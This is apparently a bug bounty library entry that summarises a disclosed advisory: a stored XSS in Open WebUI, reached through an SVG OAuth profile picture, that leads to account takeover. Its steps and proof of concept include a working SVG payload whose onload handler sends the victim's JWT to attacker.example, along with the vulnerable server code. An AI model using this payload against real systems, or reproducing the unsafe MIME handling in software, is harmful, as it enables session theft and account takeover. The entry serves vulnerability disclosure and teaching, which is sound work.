# Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url

OAuth picture claim with .svg URL stored as data:image/svg+xml profile image; served inline without nosniff, executing script and stealing victim JWT for account takeover.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: matte1782
- Disclosed: 2026-05-14
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3wgj-c2hg-vm6q
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3wgj-c2hg-vm6q
- Tags: area:web domain:web impact:ato impact:rce kind:research platform:ghsa sev:high tech:oauth technique:chained technique:source-review vuln:xss

**Target:** OAuth picture claim processing and profile image endpoint
**Root cause:** MIME type inferred from URL extension via mimetypes.guess_type with no allowlist, and the OAuth write path bypasses the validate_profile_image_url Pydantic validator by writing directly through SQLAlchemy. The serving endpoint then reflects the attacker-controlled MIME with Content-Disposition: inline and no default nosniff/CSP.
**Steps:**
1. Host malicious SVG at `https://attacker.example/p.svg` with `<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />`
2. Set IdP profile picture to that URL and sign in to Open WebUI via OAuth (signup or login with `OAUTH_UPDATE_PICTURE_ON_LOGIN=true`)
3. Server fetches URL, guesses `image/svg+xml` from extension, stores `data:image/svg+xml;base64,...` in profile_image_url
4. Send victim link `https://target.example/api/v1/users/<attacker-user-id>/profile/image`
5. Victim clicks; browser renders SVG as top-level document, onload fires, JWT exfiltrated
**How found:** Code review of the OAuth picture processing path: noticed MIME derived from URL extension rather than upstream Content-Type, then traced that the OAuth write path calls SQLAlchemy directly instead of the Pydantic validator used by signup/profile forms, and that the serving endpoint reflects the stored MIME inline with env-gated security headers.
**Exploitation:** Attacker needs a valid IdP identity and OAuth signup or picture-sync enabled. They host an SVG with an onload handler that reads localStorage.token and beacons it out, set it as their IdP picture, sign in so the data URI is stored, then socially deliver the profile image URL to an authenticated victim. The endpoint returns the SVG inline as image/svg+xml; with no nosniff/CSP the browser executes script same-origin, leaking the JWT for full account takeover.
**Escalation:** Post-ATO access to victim chats and stored API keys; if victim has workspace.tools permission, RCE via installed tools. Secondary SSRF primitive: point picture claim at internal URL and read response bytes via profile image endpoint.
**Insight:** When a validator is attached to Pydantic form models, enumerate every other write path to the same DB column (OAuth callbacks, admin imports, migrations) — direct ORM writes silently skip it. Also check whether MIME is inferred from URL extension rather than response Content-Type, and whether the serving endpoint echoes that MIME with inline disposition.

## Proof of concept (copied exactly from the original report)

**Malicious SVG payload with onload token exfiltration**

```
<svg xmlns="http://www.w3.org/2000/svg"
     onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
```

**Profile image endpoint serving attacker MIME inline**

```
header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:")  # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
    iter([data]),
    media_type=media_type,
    headers={"Content-Disposition": "inline"},
)
```

**MIME guessed from URL extension in OAuth**

```
guessed_mime_type = mimetypes.guess_type(picture_url)[0]
    if guessed_mime_type is None:
        guessed_mime_type = "image/jpeg"
    return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"
```

